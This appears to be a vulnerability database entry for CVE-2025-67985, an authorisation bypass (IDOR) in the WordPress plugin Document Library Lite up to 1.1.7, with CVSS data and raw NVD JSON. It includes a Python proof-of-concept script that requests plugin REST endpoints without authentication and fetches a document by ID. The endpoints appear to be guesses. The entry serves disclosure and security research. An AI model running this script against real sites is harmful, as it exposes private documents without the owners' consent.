Security Vulnerability Report
中文
CVE-2025-67985 CVSS 5.3 MEDIUM

CVE-2025-67985

Published: 2025-12-16 09:16:00
Last Modified: 2026-04-27 18:16:53

Description

Authorization Bypass Through User-Controlled Key vulnerability in Barn2 Plugins Document Library Lite document-library-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Document Library Lite: from n/a through <= 1.1.7.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Document Library Lite <= 1.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67985 PoC - Document Library Lite IDOR Vulnerability # Affected: Document Library Lite <= 1.1.7 import requests import sys TARGET_URL = "https://example.com" # Replace with target URL def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-67985""" # Common REST API endpoints for Document Library Lite endpoints = [ "/wp-json/document-library-lite/v1/documents", "/wp-json/wp/v2/document", "/?rest_route=/document-library-lite/v1/documents" ] print(f"[*] Testing target: {TARGET_URL}") print(f"[*] CVE-2025-67985 - IDOR in Document Library Lite <= 1.1.7\n") for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" print(f"[*] Testing endpoint: {url}") try: # Try to access documents without authentication response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() if data: print(f"[+] VULNERABLE: Endpoint returned data without auth") print(f"[+] Sample response: {str(data)[:200]}...") # Try IDOR - access specific document by ID idor_url = f"{TARGET_URL}/wp-json/document-library-lite/v1/documents/1" idor_response = requests.get(idor_url, timeout=10) if idor_response.status_code == 200: print(f"[+] IDOR CONFIRMED: Can access document by ID without authorization") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Target may not be vulnerable or endpoint not found") return False if __name__ == "__main__": check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67985", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:00.373", "lastModified": "2026-04-27T18:16:52.523", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Barn2 Plugins Document Library Lite document-library-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Document Library Lite: from n/a through <= 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/document-library-lite/vulnerability/wordpress-document-library-lite-plugin-1-1-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}